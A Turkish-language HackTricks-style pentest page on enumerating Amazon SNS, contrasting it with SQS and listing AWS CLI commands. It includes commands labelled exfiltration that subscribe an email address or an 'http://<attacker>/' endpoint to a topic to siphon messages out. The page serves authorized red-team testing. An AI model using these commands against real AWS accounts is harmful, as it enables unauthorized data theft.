AWS - SNS Enum

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SNS

Amazon Simple Notification Service (Amazon SNS), tam yönetilen bir mesajlaşma hizmeti olarak tanımlanır. Hem uygulama-uygulama (A2A) hem de uygulama-kisi (A2P) iletişim türlerini destekler.

A2A iletişimi için ana özellikler yayın/abone (pub/sub) mekanizmalarıdır. Bu mekanizmalar, yüksek verimlilikte, itme tabanlı, çoktan-çoğa mesajlaşmayı sağlamak için kritik olan konuları tanıtır. Bu özellik, dağıtık sistemler, mikro hizmetler ve olay odaklı sunucusuz mimariler içeren senaryolar için son derece avantajlıdır. Bu konuları kullanarak, yayıncı sistemler mesajları geniş bir abone sistemi yelpazesine verimli bir şekilde dağıtabilir, böylece bir fanout mesajlaşma modeli oluşturur.

SQS ile Fark

SQS, kuvvet tabanlı bir hizmettir ve nokta-nokta iletişimi sağlar, mesajların tek bir tüketici tarafından işlenmesini garanti eder. En az bir kez teslimat sunar, standart ve FIFO kuyruklarını destekler ve mesajların yeniden denemeler ve gecikmeli işleme için saklanmasına izin verir.
Öte yandan, SNS bir yayın/abone tabanlı hizmettir, mesajları birden fazla aboneye aynı anda yayınlayarak birden-çoğa iletişimi mümkün kılar. E-posta, SMS, Lambda fonksiyonları ve HTTP/HTTPS gibi çeşitli abonelik uç noktalarını destekler ve hedefli mesaj teslimatı için filtreleme mekanizmaları sunar.
Her iki hizmet de dağıtık sistemlerde bileşenler arasında ayrıştırma sağlasa da, SQS kuyruklu iletişime odaklanırken, SNS olay odaklı, fan-out iletişim modellerine vurgu yapar.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Caution

FIFO türünde bir konu varsa, yalnızca SQS protokolünü kullanan aboneler kullanılabilir (HTTP veya HTTPS kullanılamaz).

Ayrıca, --topic-arn bölgeyi içeriyorsa, --region parametresinde doğru bölgeyi belirttiğinizden emin olun, aksi takdirde erişiminiz olmadığına dair bir hata alırsınız, ancak sorun bölgedir.

Kimlik Doğrulaması Olmadan Erişim

AWS - SNS Unauthenticated Enum

Yetki Yükseltme

AWS - SNS Privesc

İstismar Sonrası

AWS - SNS Post Exploitation

Süreklilik

AWS - SNS Persistence

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin